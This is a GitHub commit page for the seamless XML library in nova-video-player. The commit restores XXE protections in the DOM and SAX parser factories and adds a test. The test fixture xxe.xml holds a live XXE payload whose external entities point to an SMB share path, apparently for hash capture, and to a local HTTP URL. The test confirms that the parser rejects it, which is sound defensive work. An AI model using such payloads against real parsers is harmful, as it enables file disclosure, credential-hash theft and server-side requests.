Revert "Revert "Configure parser factories to prevent XXE attacks - 4…

…thlineGH-9"" This reverts commit 6613247. This should not be necessary anymore by using in cling AndroidUpnpServiceConfiguration UDA10ServiceDescriptorBinderImpl instead of UDA10ServiceDescriptorBinderSAXImpl as advised in 4thline/cling#247 for a workaround. This will maintain seamless codebase aligned with EOL git repo.
nova-video-player · May 5, 2023 · 29e6e56 · 29e6e56
1 parent a724523
commit 29e6e56
Show file tree

Hide file tree

Showing 4 changed files with 80 additions and 7 deletions.
diff --git a/xml/src/main/java/org/seamless/xml/DOMParser.java b/xml/src/main/java/org/seamless/xml/DOMParser.java
@@ -136,6 +136,15 @@ public DocumentBuilderFactory createFactory(boolean validating) throws ParserExc
                 factory.setFeature("http://apache.org/xml/features/xinclude/fixup-base-uris", false);
                 factory.setFeature("http://apache.org/xml/features/xinclude/fixup-language", false);
 
+                // Configure parser to prevent XXE attacks
+                factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
+                factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
+                factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
+                factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
+                factory.setXIncludeAware(false);
+                factory.setExpandEntityReferences(false);
+
+
                 // Good idea to set a schema when you want to validate! Tell me, how does it work
                 // without a schema?!
                 factory.setSchema(getSchema());

diff --git a/xml/src/main/java/org/seamless/xml/SAXParser.java b/xml/src/main/java/org/seamless/xml/SAXParser.java
@@ -65,16 +65,23 @@ public void setContentHandler(ContentHandler handler) {
 
     protected XMLReader create() {
         try {
+            SAXParserFactory factory = SAXParserFactory.newInstance();
+
+            // Configure factory to prevent XXE attacks
+            factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
+            factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
+            factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
+            factory.setXIncludeAware(false);
+
+            factory.setNamespaceAware(true);
+
             if (getSchemaSources() != null) {
-                // Jump through all the hoops and create a validating reader
-                SAXParserFactory factory = SAXParserFactory.newInstance();
-                factory.setNamespaceAware(true);
                 factory.setSchema(createSchema(getSchemaSources()));
-                XMLReader xmlReader = factory.newSAXParser().getXMLReader();
-                xmlReader.setErrorHandler(getErrorHandler());
-                return xmlReader;
             }
-            return XMLReaderFactory.createXMLReader();
+
+            XMLReader xmlReader = factory.newSAXParser().getXMLReader();
+            xmlReader.setErrorHandler(getErrorHandler());
+            return xmlReader;
         } catch (Exception ex) {
             throw new RuntimeException(ex);
         }

diff --git a/xml/src/test/java/org/seamless/test/xml/SAXParserTest.java b/xml/src/test/java/org/seamless/test/xml/SAXParserTest.java
@@ -0,0 +1,50 @@
+/*
+* Copyright (C) 2018 Matthew Piggott
+*
+* The contents of this file are subject to the terms of either the GNU
+* Lesser General Public License Version 2 or later ("LGPL") or the
+* Common Development and Distribution License Version 1 or later
+* ("CDDL") (collectively, the "License"). You may not use this file
+* except in compliance with the License. See LICENSE.txt for more
+* information.
+*
+* This program is distributed in the hope that it will be useful,
+* but WITHOUT ANY WARRANTY; without even the implied warranty of
+* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+*/
+package org.seamless.test.xml;
+
+import static org.testng.Assert.assertTrue;
+import static org.testng.Assert.fail;
+
+import java.io.IOException;
+import java.io.InputStream;
+
+import org.seamless.xml.ParserException;
+import org.seamless.xml.SAXParser;
+import org.testng.annotations.Test;
+import org.xml.sax.InputSource;
+
+/**
+ * @author Matthew Piggott
+ */
+public class SAXParserTest {
+
+    @Test
+    public void testXxe() throws IOException {
+        SAXParser parser = new SAXParser();
+
+        InputStream in = null;
+        try {
+            in = getClass().getResourceAsStream("/org/seamless/test/xml/xxe.xml");
+            parser.parse(new InputSource(in));
+            fail("Expected exception thrown");
+        } catch (ParserException e) {
+            assertTrue(e.getMessage().contains("DOCTYPE is disallowed"));
+        } finally {
+            if (in != null) {
+                in.close();
+            }
+        }
+    }
+}
diff --git a/xml/src/test/resources/org/seamless/test/xml/xxe.xml b/xml/src/test/resources/org/seamless/test/xml/xxe.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="ISO-8859-1"?>
+<!DOCTYPE foo [
+<!ELEMENT foo ANY >
+<!ENTITY xxe SYSTEM "file://///$smbServer/smb/hash.jpg" >
+<!ENTITY xxe-url SYSTEM "http://$localIp:$localPort/ssdp/xxe.html" >
+]>
+<hello>&xxe;&xxe-url;</hello>